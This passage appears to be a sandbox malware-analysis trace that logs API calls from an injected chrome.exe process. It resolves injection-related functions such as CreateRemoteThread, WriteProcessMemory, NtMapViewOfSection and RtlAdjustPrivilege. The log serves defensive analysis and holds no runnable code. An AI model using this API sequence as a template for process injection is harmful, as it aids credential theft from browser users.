[0114.181] PR_Read () returned 0x8000 [0114.182] _alloca_probe () returned 0x8235d0 [0114.182] PR_Read () returned 0x8000 [0114.182] _alloca_probe () returned 0x8235d0 [0114.183] PR_Read () returned 0x4362 [0114.183] _alloca_probe () returned 0x8235d0 [0114.183] PR_Read () returned 0x0 [0114.183] PR_Close () returned 0x0 [0114.373] _alloca_probe () returned 0x8235d0 [0114.373] PR_Read () returned 0x40b0 [0114.375] _alloca_probe () returned 0x8235d0 [0114.375] PR_Read () returned 0x0 [0114.375] PR_Close () returned 0x0 Thread: id = 267 os_tid = 0xaf0 Thread: id = 268 os_tid = 0xb14 Thread: id = 270 os_tid = 0x478 Thread: id = 271 os_tid = 0xb18 Thread: id = 272 os_tid = 0xa1c Thread: id = 273 os_tid = 0xa20 Process: id = "7" image_name = "chrome.exe" filename = "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe" page_root = "0x654a8000" os_pid = "0xb70" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --use-spdy=off" cur_dir = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 57 os_tid = 0xb74 [0070.441] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x2ff108 | out: BaseAddress=0x2ff108*=0x77160000) returned 0x0 [0070.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b1570) returned 0x0 [0070.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b1520) returned 0x0 [0070.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b1400) returned 0x0 [0070.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b15b0) returned 0x0 [0070.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b1590) returned 0x0 [0070.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b17b0) returned 0x0 [0070.441] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7719dce0) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b1670) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b5110) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b14a0) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771aea60) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771e8fdc) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771e9560) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771ae6d0) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b7df4) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77190880) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771e8fb0) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771665e4) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771eac00) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771eb380) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b5610) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b1470) returned 0x0 [0070.442] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7718ce40) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771ea738) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771e8ae0) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memset", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b2ed0) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7716a7f0) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771ea670) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771af9f0) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771ae6d0) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77190950) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7718ecb0) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b22d0) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__C_specific_handler", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7717850c) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__chkstk", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b0dd0) returned 0x0 [0070.443] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x2ff108 | out: BaseAddress=0x2ff108*=0x77040000) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bb60) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708c4f0) returned 0x0 [0070.443] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77057700) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704af20) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704b990) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705cad0) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770501d0) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771a6930) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a1ee0) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77042ef0) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051260) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77056f70) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77185350) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062f80) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704ead0) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bad0) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770631f0) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a1230) returned 0x0 [0070.444] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704e390) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77063580) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770564a0) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770440a0) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770565e0) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062b70) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77057070) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77055cf0) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708e570) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b33a0) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708e160) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708e760) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705caf0) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770635a0) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708c5b0) returned 0x0 [0070.445] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062dd0) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77063070) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bdb0) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770514e0) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708e110) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062b00) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051490) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770570e0) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77053f00) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77193f20) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705bd80) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770547a0) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051170) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77042f60) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bca0) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770513a0) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708e0d0) returned 0x0 [0070.446] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705bd60) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77056580) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704d9a0) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704b6c0) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708e070) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051910) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77061bb0) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770492d0) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77048890) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770547c0) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77053ee0) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77053f20) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77053ec0) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051120) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77053f40) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7708bfb0) returned 0x0 [0070.447] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704ad90) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704ad70) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a2060) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77051870) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770571b0) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770635f0) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7705bdd0) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704f9d0) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704ec70) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b2fc0) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77057210) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a0ca0) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77042ce0) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770a1bc0) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062b20) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062b90) returned 0x0 [0070.448] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x7704d130) returned 0x0 [0070.449] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x771b3000) returned 0x0 [0070.449] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77062df0) returned 0x0 [0070.449] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77188100) returned 0x0 [0070.449] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77056640) returned 0x0 [0070.449] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77063690) returned 0x0 [0070.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770513e0) returned 0x0 [0070.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x77057230) returned 0x0 [0070.465] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x2ff0f0 | out: ProcedureAddress=0x2ff0f0*=0x770512b0) returned 0x0 [0070.465] LdrGetProcedureAddress (in: 